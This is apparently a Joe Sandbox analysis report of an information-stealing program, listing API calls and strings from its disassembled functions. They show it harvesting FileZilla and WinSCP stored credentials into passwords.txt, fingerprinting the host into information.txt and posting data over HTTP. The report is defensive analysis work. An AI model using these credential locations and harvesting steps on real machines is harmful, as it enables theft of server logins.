Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Host: , xrefs: 0040E954
Login: , xrefs: 0040E98C
<Port>, xrefs: 0040E818
Soft: FileZilla, xrefs: 0040E948
<User>, xrefs: 0040E851
<Host>, xrefs: 0040E7D9
Password: , xrefs: 0040E9AE
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
passwords.txt, xrefs: 0040EA4D
<Pass encoding="base64">, xrefs: 0040E88A

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: e0bfb3f48dca521f37437996d0ae56c2bb4ebc0dec61cbdd123b49526ae2f6c4
Instruction ID: 14048a2b419fde31a88832429adc402d622cfb8f20e2d9bcd7eb6ceae992149e
Opcode Fuzzy Hash: e0bfb3f48dca521f37437996d0ae56c2bb4ebc0dec61cbdd123b49526ae2f6c4
Instruction Fuzzy Hash: E5A18572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 0040E186 Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E276
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E29D
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
PortNumber, xrefs: 0040E3BD
Host: , xrefs: 0040E32A
HostName, xrefs: 0040E367
Soft: WinSCP, xrefs: 0040E2FE
Security, xrefs: 0040E253
Login: , xrefs: 0040E459
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
Password, xrefs: 0040E515
UseMasterPassword, xrefs: 0040E24E
UserName, xrefs: 0040E496
passwords.txt, xrefs: 0040E662
:22, xrefs: 0040E42D
Password: , xrefs: 0040E529

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction ID: ab712d79911a6534e16ca2c8d51643d97c9570b95301d2e418567ee179d90524
Opcode Fuzzy Hash: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction Fuzzy Hash: 56D1D6B195012DAADF21EB91DC42BD9B778AF04308F5018EBA508B3151DA747FC9CFA5

Function 00405F39 Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,af641acce3f8c85bf2490a9b3aa972c5,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

", xrefs: 00406445
build_id, xrefs: 00406419
mode, xrefs: 00406575
------, xrefs: 00406206
------, xrefs: 00406080
af641acce3f8c85bf2490a9b3aa972c5, xrefs: 00406471
------, xrefs: 00406367
", xrefs: 004062E5
------, xrefs: 004064C9
", xrefs: 004065A1

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$af641acce3f8c85bf2490a9b3aa972c5$build_id$mode
API String ID: 3702379033-1631910280
Opcode ID: 9a88e138862845f63bc5902172524daa52c3179df56ce96312ed2febdce6b6a2
Instruction ID: 761880eafc7f1130453e9609930188909abd0ac3e1dc834df3bf91bb01064538
Opcode Fuzzy Hash: 9a88e138862845f63bc5902172524daa52c3179df56ce96312ed2febdce6b6a2
Instruction Fuzzy Hash: 9E22C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 00418753 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00418794
GetProcAddress.KERNEL32 ref: 004187AB
GetProcAddress.KERNEL32 ref: 004187C2
GetProcAddress.KERNEL32 ref: 004187D9
GetProcAddress.KERNEL32 ref: 004187F0
GetProcAddress.KERNEL32 ref: 00418807
GetProcAddress.KERNEL32 ref: 0041881E
GetProcAddress.KERNEL32 ref: 00418835
GetProcAddress.KERNEL32 ref: 0041884C
GetProcAddress.KERNEL32 ref: 00418863
GetProcAddress.KERNEL32 ref: 0041887A
GetProcAddress.KERNEL32 ref: 00418891
GetProcAddress.KERNEL32 ref: 004188A8
GetProcAddress.KERNEL32 ref: 004188BF
GetProcAddress.KERNEL32 ref: 004188D6
GetProcAddress.KERNEL32 ref: 004188ED
GetProcAddress.KERNEL32 ref: 00418904
GetProcAddress.KERNEL32 ref: 0041891B
GetProcAddress.KERNEL32 ref: 00418932
GetProcAddress.KERNEL32 ref: 00418949
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041895A
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041896B
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041897C
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041898D
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041899E
GetProcAddress.KERNEL32(75A70000,004185D2), ref: 004189BA
GetProcAddress.KERNEL32(75290000,004185D2), ref: 004189D5
GetProcAddress.KERNEL32 ref: 004189EC
GetProcAddress.KERNEL32(75BD0000,004185D2), ref: 00418A07
GetProcAddress.KERNEL32(75450000,004185D2), ref: 00418A22
GetProcAddress.KERNEL32(76E90000,004185D2), ref: 00418A3D
GetProcAddress.KERNEL32 ref: 00418A54

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction ID: 199c42d56f0628ccab12840d69b6f02f13cfb0cf7a8249375453f6caf445ef8e
Opcode Fuzzy Hash: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction Fuzzy Hash: 2B7106B5910312AFEF1ADF60FD488243BA7F70874BF11A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: HeapAlloc.KERNEL32(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
Part of subcall function 00410F51: RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411446
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411472

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

[Software], xrefs: 004144A3
Path: , xrefs: 00413DBB
Threads: , xrefs: 004142EF
GUID: , xrefs: 00413CE1
RAM: , xrefs: 00414350
User Name: , xrefs: 0041400E
Install Date: , xrefs: 00413ED1
MachineID: , xrefs: 00413C80
Local Time: , xrefs: 0041414B
VideoCard: , xrefs: 004143B7
[Processes], xrefs: 0041442A
Processor: , xrefs: 0041422D
information.txt, xrefs: 00414573
